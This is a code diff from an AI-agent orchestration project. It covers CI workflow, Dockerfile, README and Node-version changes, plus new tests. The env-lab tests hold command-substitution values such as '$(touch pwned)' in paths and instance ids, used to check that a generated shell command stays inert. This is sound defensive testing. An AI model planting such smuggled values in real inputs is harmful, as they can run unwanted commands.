const fakeExit = (code) => { exitCode = code; };
const timer = startScriptWatchdog(20, fakeExit);
clearTimeout(timer);
await new Promise((resolve) => setTimeout(resolve, 60));
assert.equal(exitCode, null, 'cleared watchdog must not call exit');
});
// ── ghFetch timeout ──────────────────────────────────────────────────────────
test('ghFetch: aborts the request when the per-call timeout elapses', async () => {
const originalFetch = globalThis.fetch;
// Replace global fetch with one that respects the AbortSignal but never resolves on its own.
globalThis.fetch = (_url, init) => new Promise((_resolve, reject) => {
init?.signal?.addEventListener('abort', () => {
const err = new Error('aborted');
err.name = 'AbortError';
reject(err);
}, { once: true });
});
try {
const start = Date.now();
await assert.rejects(
ghFetch('/repos/example/example/security-advisories', 'token', { timeoutMs: 30 }),
/aborted|abort/i,
);
const elapsed = Date.now() - start;
assert.ok(elapsed < 500, `ghFetch should abort within the timeout, took ${elapsed}ms`);
} finally {
globalThis.fetch = originalFetch;
}
});
+1 -12
View File
@@ -9,7 +9,6 @@ on:
permissions:
pull-requests: write
security-events: write
checks: write
contents: read
@@ -32,7 +31,7 @@ jobs:
- name: Set up Node
uses: actions/setup-node@820762786026740c76f36085b0efc47a31fe5020 # v7.0.0
with:
node-version: '20'
node-version: '24'
- name: Generate commitperclip token
id: token
@@ -55,16 +54,6 @@ jobs:
PR_AUTHOR: ${{ github.event.pull_request.user.login }}
PR_BRANCH: ${{ github.event.pull_request.head.ref }}
- name: Run security gates
run: node .github/scripts/check-pr-security.mjs
continue-on-error: true
timeout-minutes: 3
env:
GH_TOKEN: ${{ steps.token.outputs.value }}
GH_REPO: ${{ github.repository }}
PR_NUMBER: ${{ github.event.pull_request.number }}
PR_AUTHOR: ${{ github.event.pull_request.user.login }}
- name: Fail if quality gates failed
if: >-
github.event.pull_request.user.login != 'dependabot[bot]' &&
+2 -2
View File
@@ -82,7 +82,7 @@ jobs:
- name: Setup Node.js
uses: actions/setup-node@v7
with:
node-version: 20
node-version: 24
- name: Refresh lockfile for Docker build context
run: |
@@ -257,7 +257,7 @@ jobs:
- name: Setup Node.js
uses: actions/setup-node@v7
with:
node-version: 20
node-version: 24
- name: Refresh lockfile for Docker build context
run: |
+1 -1
View File
@@ -24,7 +24,7 @@ jobs:
- uses: actions/setup-node@v7
with:
node-version: 20
node-version: 24
cache: pnpm
- run: pnpm install --frozen-lockfile
+10 -3
View File
@@ -49,11 +49,16 @@ jobs:
- name: Validate Dockerfile deps stage
run: node ./scripts/check-docker-deps-stage.mjs
- name: Validate Node version policy
run: pnpm check:node-version
- name: Reject git push in adapter/runtime code
run: node ./scripts/check-no-git-push.mjs
- name: Test no-git-push check
run: node --test ./scripts/check-no-git-push.test.mjs
- name: Test PR quality-gate scripts
run: node --test '.github/scripts/tests/*.test.mjs'
- name: Test general-server shard partition
run: node --test ./scripts/__tests__/run-vitest-stable-shard.test.mjs
@@ -287,9 +292,11 @@ jobs:
fail-fast: false
matrix:
include:
# A successful PR run on 2026-08-04 (30876682788) spent 256s in
# serialized shard 2/4, making its 305s job the run's slowest check.
# Five shards reduce the measured 739s suite total to about 148s per
# A successful PR run on 2026-08-17 (32012408876) spent 291s in
# serialized shard 1/5 while its siblings ran 170-201s: round-robin
# clustered the heavy suites on one runner. Shards are now balanced
# by recorded duration (scripts/serialized-shard-durations.json),
# which levels the measured 968s suite total to about 194s per
# runner before setup overhead.
- shard_index: 0
shard_count: 5
+1 -1
View File
@@ -31,7 +31,7 @@ jobs:
- name: Setup Node.js
uses: actions/setup-node@v7
with:
node-version: 20
node-version: 24
cache: pnpm
- name: Refresh pnpm lockfile
+224 -6
View File
@@ -49,6 +49,20 @@ concurrency:
group: release-${{ github.event_name }}-${{ github.ref }}
cancel-in-progress: false
env:
# npm accepts a publish immediately, but the registry's CDN can lag packument
# propagation by several minutes (observed 2.5-4+ minutes on 2026-08-21,
# which failed four consecutive canary runs mid-loop). Give release.sh's
# post-publish visibility poll a 10-minute budget per package instead of its
# 60-second default; a healthy publish still exits the poll on the first
# visible check. (A 5-minute budget missed by seconds on 2026-08-21:
# adapter-opencode-local was accepted at 07:02:27 and became visible at
# 07:07:40.) The publish jobs' timeout-minutes are sized for several
# laggard packages; if most of a batch lags the full budget, npm is having
# a real incident and the job failing is correct.
NPM_PUBLISH_VERIFY_ATTEMPTS: "60"
NPM_PUBLISH_VERIFY_DELAY_SECONDS: "10"
jobs:
verify_canary:
if: github.event_name == 'push'
@@ -60,7 +74,7 @@ jobs:
if: github.event_name == 'push'
needs: verify_canary
runs-on: ubuntu-latest
timeout-minutes: 45
timeout-minutes: 90
environment: npm-canary
permissions:
contents: write
@@ -236,7 +250,7 @@ jobs:
(needs.smoke_nightly.result == 'success' ||
(needs.smoke_nightly.result == 'skipped' && github.event_name == 'workflow_dispatch' && inputs.dry_run))
runs-on: ubuntu-latest
timeout-minutes: 45
timeout-minutes: 90
environment: npm-canary
# The workflow-level concurrency group is per event, so a forced dispatch
# nightly could otherwise overlap the scheduled one and race it to the
@@ -502,7 +516,7 @@ jobs:
(needs.verify_beta_candidate.result == 'success' ||
(needs.verify_beta_candidate.result == 'skipped' && needs.select_beta.outputs.mode == 'promote'))
runs-on: ubuntu-latest
timeout-minutes: 45
timeout-minutes: 90
environment: npm-beta
# Serialize beta publishes so two dispatches cannot race to the same next
# -beta.N version; release.sh additionally refuses to double-publish a
@@ -621,11 +635,79 @@ jobs:
} >> "$GITHUB_STEP_SUMMARY"
gh workflow run docker.yml --ref "refs/tags/${tag}" --repo "$GITHUB_REPOSITORY"
# Draft the eventual stable's release notes the moment the beta exists:
# the promoted bits are frozen now, and the 3-day soak is the natural
# review window. The draft lands on a machine-owned branch; a human opens
# and merges the PR, because a PR created with GITHUB_TOKEN would not
# trigger the pr.yml checks a merge requires.
draft_stable_notes:
needs: [select_beta, publish_beta]
if: ${{ !cancelled() && !inputs.dry_run && needs.publish_beta.result == 'success' }}
runs-on: ubuntu-latest
timeout-minutes: 10
permissions:
contents: write
steps:
- name: Checkout repository
uses: actions/checkout@v7
with:
ref: master
fetch-depth: 0
- name: Configure git author
run: |
git config user.name "github-actions[bot]"
git config user.email "41898282+github-actions[bot]@users.noreply.github.com"
- name: Draft stable notes from the published beta
env:
BETA_VERSION: ${{ needs.publish_beta.outputs.beta_version }}
SOURCE_SHA: ${{ needs.select_beta.outputs.sha }}
run: |
set -euo pipefail
git fetch origin --tags --quiet
# A rejected beta tag push (the workflows-permission case) leaves
# the tag absent from origin while npm already has the beta;
# recreate it locally so drafting does not block on the manual
# tag recovery.
if ! git rev-parse --verify "refs/tags/beta/v${BETA_VERSION}" >/dev/null 2>&1; then
git tag "beta/v${BETA_VERSION}" "${SOURCE_SHA}"
fi
./scripts/draft-stable-notes.sh "${BETA_VERSION}"
- name: Push the draft branch
env:
BETA_VERSION: ${{ needs.publish_beta.outputs.beta_version }}
run: |
set -euo pipefail
branch="release-notes/v${BETA_VERSION}"
git checkout -B "$branch"
git add "releases/beta/v${BETA_VERSION}.md"
git commit -m "docs(release): draft stable notes for beta ${BETA_VERSION}"
# Machine-owned branch: force push so a re-run regenerates cleanly.
git push -f origin "$branch"
{
echo "## Stable notes draft pushed"
echo ""
echo "- Branch: \`${branch}\`"
echo "- Open the PR (a human opens it so CI runs):"
echo " https://github.com/${GITHUB_REPOSITORY}/compare/master...${branch}?expand=1"
echo "- Edit it during the soak. The stable promotion reads"
echo " \`releases/beta/v${BETA_VERSION}.md\` from master."
} >> "$GITHUB_STEP_SUMMARY"
# Post-publish verification: run the release smoke suite against the exact
# beta version that was just published.
#
# The condition must carry an explicit status-check function: without one,
# GitHub attaches an implicit success(), which evaluates the needs chain
# transitively — and publish_beta's chain contains verify_beta_candidate,
# which is skipped on every promote-mode beta. The implicit form silently
# skipped this job on the first promote-mode beta after the candidate
# lane landed.
smoke_beta:
needs: publish_beta
if: ${{ !inputs.dry_run }}
if: ${{ !cancelled() && needs.publish_beta.result == 'success' && !inputs.dry_run }}
uses: ./.github/workflows/release-smoke.yml
with:
paperclip_version: ${{ needs.publish_beta.outputs.beta_version }}
@@ -649,6 +731,11 @@ jobs:
contents: read
outputs:
sha: ${{ steps.soak.outputs.sha }}
beta_version: ${{ steps.soak.outputs.beta_version }}
stable_version: ${{ steps.notes.outputs.stable_version }}
notes_mode: ${{ steps.notes.outputs.notes_mode }}
notes_path: ${{ steps.notes.outputs.notes_path }}
notes_ref: ${{ steps.notes.outputs.notes_ref }}
steps:
- name: Checkout repository
uses: actions/checkout@v7
@@ -717,6 +804,7 @@ jobs:
fi
beta_version="${beta_tag#beta/v}"
echo "beta_version=${beta_version}" >> "$GITHUB_OUTPUT"
publish_time="$(npm view "paperclipai@${beta_version}" time --json 2>/dev/null \
| node -e 'let d="";process.stdin.on("data",c=>d+=c).on("end",()=>{const t=JSON.parse(d);process.stdout.write(typeof t === "string" ? t : (t[process.argv[1]] ?? ""))})' "$beta_version" || true)"
if [ -z "$publish_time" ]; then
@@ -740,6 +828,58 @@ jobs:
echo "- Soak time: ${age_days} days"
} >> "$GITHUB_STEP_SUMMARY"
# The stable notes need not exist inside the promoted source commit:
# a promoted beta's notes are drafted on master (releases/beta/v*.md)
# at beta-publish time and edited during the soak. Resolve which copy
# publish_stable should read, and fail early — before the npm-stable
# approval gate — when none exists. Notes inside the source tree
# (the candidate fix path) take precedence.
- name: Resolve stable release notes
id: notes
env:
SHA: ${{ steps.soak.outputs.sha }}
BETA_VERSION: ${{ steps.soak.outputs.beta_version }}
STABLE_DATE: ${{ inputs.stable_date }}
DRY_RUN: ${{ inputs.dry_run }}
run: |
set -euo pipefail
# Pin the master revision the notes were resolved at, so the
# publish and canonicalization steps read the same content even
# when master advances during the approval delay.
echo "notes_ref=$(git rev-parse HEAD)" >> "$GITHUB_OUTPUT"
args=(stable --print-version)
if [ -n "${STABLE_DATE}" ]; then
args+=(--date "${STABLE_DATE}")
fi
version="$(./scripts/release.sh "${args[@]}")"
echo "stable_version=${version}" >> "$GITHUB_OUTPUT"
if git cat-file -e "${SHA}:releases/v${version}.md" 2>/dev/null; then
echo "notes_mode=source_tree" >> "$GITHUB_OUTPUT"
echo "notes_path=releases/v${version}.md" >> "$GITHUB_OUTPUT"
echo "- Stable notes: \`releases/v${version}.md\` at the source commit" >> "$GITHUB_STEP_SUMMARY"
exit 0
fi
if [ -n "${BETA_VERSION}" ] && [ -f "releases/beta/v${BETA_VERSION}.md" ]; then
echo "notes_mode=master_beta" >> "$GITHUB_OUTPUT"
echo "notes_path=releases/beta/v${BETA_VERSION}.md" >> "$GITHUB_OUTPUT"
echo "- Stable notes: \`releases/beta/v${BETA_VERSION}.md\` on master" >> "$GITHUB_STEP_SUMMARY"
exit 0
fi
msg="no release notes found for stable ${version}: neither releases/v${version}.md at the source commit nor releases/beta/v${BETA_VERSION:-<beta>}.md on master. Merge the notes PR from the beta's draft branch (release-notes/v<beta-version>), or add the file to the source ref."
if [ "${DRY_RUN}" = "true" ]; then
echo "::warning::${msg}"
echo "- Stable notes: MISSING (a real release would be blocked)" >> "$GITHUB_STEP_SUMMARY"
echo "notes_mode=missing" >> "$GITHUB_OUTPUT"
exit 0
fi
echo "::error::${msg}"
exit 1
verify_stable:
if: github.event_name == 'workflow_dispatch' && inputs.channel == 'stable'
needs: preflight_stable
@@ -793,12 +933,14 @@ jobs:
if: github.event_name == 'workflow_dispatch' && inputs.channel == 'stable' && !inputs.dry_run
needs: [preflight_stable, verify_stable]
runs-on: ubuntu-latest
timeout-minutes: 45
timeout-minutes: 90
environment: npm-stable
permissions:
contents: write
id-token: write
actions: write
outputs:
stable_version: ${{ steps.tag.outputs.version }}
steps:
- name: Checkout repository
@@ -829,6 +971,22 @@ jobs:
git config user.name "github-actions[bot]"
git config user.email "41898282+github-actions[bot]@users.noreply.github.com"
# A promoted beta's notes live on master (drafted at beta publish,
# edited during the soak), not inside the promoted source commit — a
# commit cannot carry a file named for a promotion date that was
# unknown when it was created. Materialize them outside the worktree
# so release.sh still runs against a clean source checkout.
- name: Materialize stable release notes from master
if: needs.preflight_stable.outputs.notes_mode == 'master_beta'
env:
NOTES_REF: ${{ needs.preflight_stable.outputs.notes_ref }}
NOTES_PATH: ${{ needs.preflight_stable.outputs.notes_path }}
run: |
set -euo pipefail
git fetch origin master --quiet
git show "${NOTES_REF}:${NOTES_PATH}" > "$RUNNER_TEMP/stable-notes.md"
echo "STABLE_NOTES_FILE=$RUNNER_TEMP/stable-notes.md" >> "$GITHUB_ENV"
- name: Publish stable
env:
GITHUB_ACTIONS: "true"
@@ -837,6 +995,9 @@ jobs:
if [ -n "${{ inputs.stable_date }}" ]; then
args+=(--date "${{ inputs.stable_date }}")
fi
if [ -n "${STABLE_NOTES_FILE:-}" ]; then
args+=(--notes-file "$STABLE_NOTES_FILE")
fi
./scripts/release.sh "${args[@]}"
- name: Dump npm debug logs
@@ -850,12 +1011,14 @@ jobs:
done
- name: Push stable tag
id: tag
run: |
tag="$(git tag --points-at HEAD | grep '^v' | head -1)"
if [ -z "$tag" ]; then
echo "Error: no stable tag points at HEAD after release." >&2
exit 1
fi
echo "version=${tag#v}" >> "$GITHUB_OUTPUT"
if ! git push origin "refs/tags/${tag}"; then
sha="$(git rev-parse HEAD)"
{
@@ -906,4 +1069,59 @@ jobs:
echo "Error: no v* tag points at HEAD after stable release." >&2
exit 1
fi
./scripts/create-github-release.sh "$version"
args=("$version")
if [ -n "${STABLE_NOTES_FILE:-}" ]; then
args+=(--notes-file "$STABLE_NOTES_FILE")
fi
./scripts/create-github-release.sh "${args[@]}"
# After a stable ships from master-side beta notes, move the file to its
# canonical home (releases/vYYYY.MDD.P.md) so the stable-notes invariant
# holds durably. Machine-owned branch + human-opened PR, as with the
# draft job above.
canonicalize_stable_notes:
needs: [preflight_stable, publish_stable]
if: ${{ needs.preflight_stable.outputs.notes_mode == 'master_beta' && needs.publish_stable.result == 'success' }}
runs-on: ubuntu-latest
timeout-minutes: 10
permissions:
contents: write
steps:
- name: Checkout repository
uses: actions/checkout@v7
with:
ref: master
fetch-depth: 0
- name: Configure git author
run: |
git config user.name "github-actions[bot]"
git config user.email "41898282+github-actions[bot]@users.noreply.github.com"
- name: Push the canonicalization branch
env:
STABLE_VERSION: ${{ needs.publish_stable.outputs.stable_version }}
NOTES_PATH: ${{ needs.preflight_stable.outputs.notes_path }}
NOTES_REF: ${{ needs.preflight_stable.outputs.notes_ref }}
run: |
set -euo pipefail
branch="release-notes/v${STABLE_VERSION}-canonicalize"
git checkout -B "$branch"
# Canonicalize exactly what shipped: take the notes at the pinned
# revision the release read them from, so a master edit made
# during the run surfaces as a reviewable diff in this PR instead
# of silently diverging from the published GitHub Release.
git show "${NOTES_REF}:${NOTES_PATH}" > "releases/v${STABLE_VERSION}.md"
git add "releases/v${STABLE_VERSION}.md"
if git ls-files --error-unmatch "${NOTES_PATH}" >/dev/null 2>&1; then
git rm -q "${NOTES_PATH}"
fi
git commit -m "docs(release): canonicalize stable notes for v${STABLE_VERSION}"
git push -f origin "$branch"
{
echo "## Stable notes canonicalization pushed"
echo ""
echo "- Branch: \`${branch}\`"
echo "- Open and merge the PR (a human opens it so CI runs):"
echo " https://github.com/${GITHUB_REPOSITORY}/compare/master...${branch}?expand=1"
} >> "$GITHUB_STEP_SUMMARY"
+1
View File
@@ -0,0 +1 @@
24
+12 -2
View File
@@ -1,5 +1,5 @@
# syntax=docker/dockerfile:1.20
FROM node:lts-trixie-slim AS base
FROM node:24-trixie-slim AS base
ARG USER_UID=1000
ARG USER_GID=1000
RUN apt-get update \
@@ -25,6 +25,7 @@ COPY packages/google-sheets-mcp-server/package.json packages/google-sheets-mcp-s
COPY packages/kv-demo-mcp-server/package.json packages/kv-demo-mcp-server/
COPY packages/mcp-server/package.json packages/mcp-server/
COPY packages/skills-catalog/package.json packages/skills-catalog/
COPY packages/tailscale-https-broker/package.json packages/tailscale-https-broker/
COPY packages/teams-catalog/package.json packages/teams-catalog/
COPY packages/adapters/claude-local/package.json packages/adapters/claude-local/
COPY packages/adapters/codex-local/package.json packages/adapters/codex-local/
@@ -32,6 +33,7 @@ COPY packages/adapters/cursor-cloud/package.json packages/adapters/cursor-cloud/
COPY packages/adapters/cursor-local/package.json packages/adapters/cursor-local/
COPY packages/adapters/gemini-local/package.json packages/adapters/gemini-local/
COPY packages/adapters/grok-local/package.json packages/adapters/grok-local/
COPY packages/adapters/kimi-local/package.json packages/adapters/kimi-local/
COPY packages/adapters/hermes/package.json packages/adapters/hermes/
COPY packages/adapters/hermes-gateway/package.json packages/adapters/hermes-gateway/
COPY packages/adapters/openclaw-gateway/package.json packages/adapters/openclaw-gateway/
@@ -53,6 +55,14 @@ COPY --from=deps /app /app
COPY . .
RUN pnpm --filter @paperclipai/ui build
RUN pnpm --filter @paperclipai/plugin-sdk build
# The server build runs scripts/write-build-stamp.mjs, which stamps the built
# commit into dist/build-info.json. The build context has no .git, so the
# script reads PAPERCLIP_BUILD_COMMIT instead. Docker exposes an ARG to the
# next RUN as an environment variable, so declare it here — in the build
# stage — before the server build. The production stage below declares the
# same ARG again for the runtime fallback; an ARG goes out of scope at the
# end of its stage. Empty for local `docker build`, which then writes no stamp.
ARG PAPERCLIP_BUILD_COMMIT=""
RUN pnpm --filter @paperclipai/server build
RUN test -f server/dist/index.js || (echo "ERROR: server build output missing" && exit 1)
@@ -77,7 +87,7 @@ WORKDIR /app
# (the single most expensive layer: four CLI toolchains + apt, per arch) can
# never hit the layer cache and rebuilds on every build.
RUN echo "cli-tools-epoch: ${CLI_TOOLS_CACHE_EPOCH}" \
&& npm install --global --omit=dev @anthropic-ai/claude-code@latest @openai/codex@latest opencode-ai @google/gemini-cli@latest \
&& npm install --global --omit=dev @anthropic-ai/claude-code@latest @openai/codex@latest opencode-ai @google/gemini-cli@latest @moonshot-ai/kimi-code@latest \
&& apt-get update \
&& apt-get install -y --no-install-recommends openssh-client jq \
&& rm -rf /var/lib/apt/lists/* \
+2 -2
View File
@@ -311,7 +311,7 @@ fi
bash install.sh
```
The installer ensures Node.js 20 or newer is available, installs a managed
The installer ensures Node.js 24.11 or newer is available, installs a managed
Paperclip CLI under `~/.paperclip/cli`, and starts interactive onboarding. It
can also install Paperclip as a background service on supported Linux and
macOS systems. The checksum detects transfer or publishing mistakes, but it is
@@ -376,7 +376,7 @@ pnpm dev
This starts the API server at `http://localhost:3100`. An embedded PostgreSQL database is created automatically — no setup required.
> **Requirements:** Node.js 20+, pnpm 9.15+
> **Requirements:** Node.js 24.11+, pnpm 9.15+
<br/>
+1 -1
View File
@@ -305,7 +305,7 @@ pnpm dev
This starts the API server at `http://localhost:3100`. An embedded PostgreSQL database is created automatically — no setup required.
> **Requirements:** Node.js 20+, pnpm 9.15+
> **Requirements:** Node.js 24.11+, pnpm 9.15+
<br/>
+1 -1
View File
@@ -70,7 +70,7 @@ export default {
entryPoints: ["src/index.ts"],
bundle: true,
platform: "node",
target: "node20",
target: "node24",
format: "esm",
outfile: "dist/index.js",
banner: { js: "#!/usr/bin/env node" },
+7 -3
View File
@@ -36,13 +36,14 @@
"typecheck": "tsc --noEmit"
},
"dependencies": {
"@clack/prompts": "^0.11.0",
"@clack/prompts": "^1.7.0",
"@paperclipai/adapter-claude-local": "workspace:*",
"@paperclipai/adapter-codex-local": "workspace:*",
"@paperclipai/adapter-cursor-cloud": "workspace:*",
"@paperclipai/adapter-cursor-local": "workspace:*",
"@paperclipai/adapter-gemini-local": "workspace:*",
"@paperclipai/adapter-grok-local": "workspace:*",
"@paperclipai/adapter-kimi-local": "workspace:*",
"@paperclipai/adapter-opencode-local": "workspace:*",
"@paperclipai/adapter-pi-local": "workspace:*",
"@paperclipai/adapter-openclaw-gateway": "workspace:*",
@@ -58,8 +59,11 @@
"picocolors": "^1.1.1"
},
"devDependencies": {
"@types/node": "^22.20.1",
"tsx": "^4.23.1",
"@types/node": "^24.0.0",
"tsx": "^4.23.12",
"typescript": "^5.7.3"
},
"engines": {
"node": ">=24.11.0"
}
}
+79
View File
@@ -0,0 +1,79 @@
import fs from "node:fs";
import os from "node:os";
import path from "node:path";
import { afterEach, describe, expect, it, vi } from "vitest";
import { databaseCheck } from "../checks/database-check.js";
import type { PaperclipConfig } from "../config/schema.js";
const created: string[] = [];
const ORIGINAL_IN_WORKTREE = process.env.PAPERCLIP_IN_WORKTREE;
function makeBase(): string {
const base = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-dbcheck-"));
created.push(base);
return base;
}
function embeddedConfig(dataDir: string): PaperclipConfig {
return {
database: {
mode: "embedded-postgres",
embeddedPostgresDataDir: dataDir,
embeddedPostgresPort: 54321,
},
} as unknown as PaperclipConfig;
}
afterEach(() => {
vi.restoreAllMocks();
if (ORIGINAL_IN_WORKTREE === undefined) delete process.env.PAPERCLIP_IN_WORKTREE;
else process.env.PAPERCLIP_IN_WORKTREE = ORIGINAL_IN_WORKTREE;
while (created.length > 0) {
const dir = created.pop();
if (dir) fs.rmSync(dir, { recursive: true, force: true });
}
});
describe("databaseCheck — embedded postgres temp-dir guard", () => {
it("passes when the data dir is on persistent (non-temp) storage", async () => {
const base = makeBase();
// Treat a sibling dir as the OS temp root so the persistent dir is outside it.
vi.spyOn(os, "tmpdir").mockReturnValue(path.join(base, "fake-tmp"));
process.env.PAPERCLIP_IN_WORKTREE = "true";
const persistentDataDir = path.join(base, "persistent", "instances", "default", "db");
const result = await databaseCheck(embeddedConfig(persistentDataDir), path.join(base, "config.json"));
expect(result.status).toBe("pass");
expect(result.message).toContain("Embedded PostgreSQL configured at");
});
it("warns when a worktree-mode data dir lives inside the OS temp directory", async () => {
const base = makeBase();
const fakeTmp = path.join(base, "fake-tmp");
vi.spyOn(os, "tmpdir").mockReturnValue(fakeTmp);
process.env.PAPERCLIP_IN_WORKTREE = "true";
const tmpDataDir = path.join(fakeTmp, "instances", "default", "db");
const result = await databaseCheck(embeddedConfig(tmpDataDir), path.join(base, "config.json"));
expect(result.status).toBe("warn");
expect(result.message).toMatch(/temp directory/i);
expect(result.message).toMatch(/ephemeral/i);
expect(result.repairHint).toContain("PAPERCLIP_HOME");
// Must warn BEFORE creating anything — don't bootstrap the throwaway temp dir.
expect(fs.existsSync(tmpDataDir)).toBe(false);
});
it("does NOT warn for a temp data dir when not in worktree mode (intentional ephemeral/CI use)", async () => {
const base = makeBase();
const fakeTmp = path.join(base, "fake-tmp");
vi.spyOn(os, "tmpdir").mockReturnValue(fakeTmp);
delete process.env.PAPERCLIP_IN_WORKTREE;
const tmpDataDir = path.join(fakeTmp, "instances", "default", "db");
const result = await databaseCheck(embeddedConfig(tmpDataDir), path.join(base, "config.json"));
expect(result.status).toBe("pass");
});
});
+265 -2
View File
@@ -1,6 +1,13 @@
import path from "node:path";
import { describe, expect, it } from "vitest";
import { collectEnvLabDoctorStatus, resolveEnvLabSshStatePath } from "../commands/env-lab.js";
import { afterEach, describe, expect, it, vi } from "vitest";
import * as p from "@clack/prompts";
import {
buildEnvLabCleanupCommand,
collectEnvLabDoctorStatus,
envLabDoctorCommand,
resolveEnvLabCliInvocation,
resolveEnvLabSshStatePath,
} from "../commands/env-lab.js";
describe("env-lab command", () => {
it("resolves the default SSH fixture state path under the instance root", () => {
@@ -22,3 +29,259 @@ describe("env-lab command", () => {
expect(status.ssh.environment).toBeNull();
});
});
describe("env-lab cleanup command hint", () => {
const originalCwd = process.cwd();
afterEach(() => {
process.chdir(originalCwd);
});
// Resolve a source-checkout invocation for a fabricated checkout root. A source
// checkout runs this module from `<root>/src/commands/env-lab.ts`, so the
// resolver reads that layout and returns the tsx runner and source entry.
function sourceInvocation(root: string) {
return resolveEnvLabCliInvocation(path.join(root, "src", "commands", "env-lab.ts"));
}
// Resolve a bundled-build invocation for a fabricated package root. The bundled
// build runs this module from `<root>/dist/index.js`, so the resolver returns
// that file as the entry with no tsx runner.
function bundledInvocation(root: string) {
return resolveEnvLabCliInvocation(path.join(root, "dist", "index.js"));
}
// Split a command that uses POSIX single-quoting into its argument tokens. The
// parser reads a single-quoted span verbatim and reads `\'` outside a span as a
// literal single quote. This is the same rule a POSIX shell obeys, so a token
// list proves the shell reads the exact paths and runs no embedded command.
function tokenizePosix(command: string): string[] {
const tokens: string[] = [];
let current = "";
let started = false;
let inQuotes = false;
for (let index = 0; index < command.length; index += 1) {
const character = command[index];
if (inQuotes) {
if (character === "'") {
inQuotes = false;
} else {
current += character;
}
} else if (character === "'") {
inQuotes = true;
started = true;
} else if (character === "\\") {
index += 1;
current += command[index];
started = true;
} else if (character === " ") {
if (started) {
tokens.push(current);
current = "";
started = false;
}
} else {
current += character;
started = true;
}
}
if (started) {
tokens.push(current);
}
return tokens;
}
// Return the two path arguments from the `node` command.
function extractPaths(command: string): string[] {
const tokens = tokenizePosix(command);
return tokens.slice(1, 3);
}
it("resolves both CLI paths to absolute paths", () => {
const command = buildEnvLabCleanupCommand();
const paths = extractPaths(command);
expect(paths).toHaveLength(2);
for (const resolved of paths) {
expect(path.isAbsolute(resolved)).toBe(true);
}
expect(command.endsWith("env-lab down")).toBe(true);
});
it("points at the checked-out tsx runner and cli source entry", () => {
const [tsxBin, entry] = extractPaths(buildEnvLabCleanupCommand());
expect(tsxBin).toContain(
path.join("cli", "node_modules", "tsx", "dist", "cli.mjs"),
);
expect(entry).toContain(path.join("cli", "src", "index.ts"));
});
it("returns the same command from a checkout subdirectory", () => {
const fromRoot = buildEnvLabCleanupCommand();
// Simulate a contributor who runs `env-lab doctor` from a subdirectory of
// the checkout. A relative path would change with the working directory, so
// this asserts the command stays constant.
process.chdir(path.dirname(originalCwd));
const fromParent = buildEnvLabCleanupCommand();
process.chdir(originalCwd);
expect(fromParent).toBe(fromRoot);
});
it("never restores the unsafe pnpm invocation forms", () => {
const command = buildEnvLabCleanupCommand();
// The bare `pnpm paperclipai` script form is unsafe. The `pnpm exec` form
// does not resolve the CLI binary. Keep both out of the hint.
expect(command).not.toContain("pnpm paperclipai");
expect(command).not.toContain("pnpm exec paperclipai");
});
// A checkout path can hold shell metacharacters. A contributor copies the hint
// and pastes it into a shell. The hint must neutralize each metacharacter, so
// the shell reads the exact path and runs no embedded command. Each case below
// is a checkout root with one dangerous construct.
const dangerousRoots = [
{ label: "a dollar sign", root: "/tmp/env$lab/checkout" },
{ label: "command substitution", root: "/tmp/$(touch pwned)/checkout" },
{ label: "backticks", root: "/tmp/`touch pwned`/checkout" },
{ label: "a double quote", root: '/tmp/env"lab/checkout' },
{ label: "a single quote", root: "/tmp/env'lab/checkout" },
];
for (const { label, root } of dangerousRoots) {
it(`keeps a checkout path with ${label} inert in the cleanup hint`, () => {
const command = buildEnvLabCleanupCommand({ invocation: sourceInvocation(root) });
const tokens = tokenizePosix(command);
const tsxBin = path.join(root, "node_modules", "tsx", "dist", "cli.mjs");
const entry = path.join(root, "src", "index.ts");
// The shell reads the exact paths as single argument tokens. It does not
// split the paths or run the embedded construct.
expect(tokens).toEqual(["node", tsxBin, entry, "env-lab", "down"]);
// The old double-quoted form left `$(...)`, a backtick pair, and `$NAME`
// live. Do not restore it.
expect(command).not.toContain(`"${tsxBin}"`);
expect(command).not.toContain(`"${entry}"`);
});
}
it("forwards the inspected instance to the cleanup hint", () => {
const command = buildEnvLabCleanupCommand({
instance: "fixture-test",
invocation: sourceInvocation("/tmp/checkout"),
});
const tokens = tokenizePosix(command);
// The hint ends with `--instance <id>`, so it stops the fixture the doctor
// command diagnosed, not the default instance.
expect(tokens.slice(-2)).toEqual(["--instance", "fixture-test"]);
});
it("omits the instance flag when the doctor command uses the default instance", () => {
const command = buildEnvLabCleanupCommand({ invocation: sourceInvocation("/tmp/checkout") });
// Without a selected instance, `env-lab down` resolves the same default
// instance the doctor command inspected. Do not add an empty flag.
expect(command).not.toContain("--instance");
expect(command.endsWith("env-lab down")).toBe(true);
});
it("keeps an instance id with shell metacharacters inert", () => {
const command = buildEnvLabCleanupCommand({
instance: "$(touch pwned)",
invocation: sourceInvocation("/tmp/checkout"),
});
const tokens = tokenizePosix(command);
// The shell reads the instance id as one literal token and runs no embedded
// command.
expect(tokens.slice(-2)).toEqual(["--instance", "$(touch pwned)"]);
expect(command).not.toContain('"$(touch pwned)"');
});
it("runs the bundled dist entry directly, without the tsx runner", () => {
const command = buildEnvLabCleanupCommand({
invocation: bundledInvocation("/opt/pkg"),
});
const tokens = tokenizePosix(command);
// The published package ships one `dist/index.js` file and no tsx runner, so
// node runs that file directly.
expect(tokens).toEqual(["node", path.join("/opt/pkg", "dist", "index.js"), "env-lab", "down"]);
expect(command).not.toContain("tsx");
expect(command).not.toContain(path.join("src", "index.ts"));
});
it("keeps a bundled package path with shell metacharacters inert", () => {
const root = "/opt/$(touch pwned)/pkg";
const command = buildEnvLabCleanupCommand({ invocation: bundledInvocation(root) });
const tokens = tokenizePosix(command);
const entry = path.join(root, "dist", "index.js");
// The shell reads the exact bundled path as one token and runs no embedded
// command.
expect(tokens).toEqual(["node", entry, "env-lab", "down"]);
expect(command).not.toContain(`"${entry}"`);
});
});
describe("env-lab doctor cleanup hint instance", () => {
const originalInstanceId = process.env.PAPERCLIP_INSTANCE_ID;
afterEach(() => {
if (originalInstanceId === undefined) {
delete process.env.PAPERCLIP_INSTANCE_ID;
} else {
process.env.PAPERCLIP_INSTANCE_ID = originalInstanceId;
}
vi.restoreAllMocks();
});
// Capture the cleanup hint the doctor prints. The doctor reports through
// `p.log`, so the test replaces each channel and reads the captured lines.
function captureDoctorMessages(): string[] {
const messages: string[] = [];
vi.spyOn(p.log, "message").mockImplementation((message?: string | string[]) => {
messages.push(Array.isArray(message) ? message.join("\n") : (message ?? ""));
});
vi.spyOn(p.log, "success").mockImplementation(() => {});
vi.spyOn(p.log, "warn").mockImplementation(() => {});
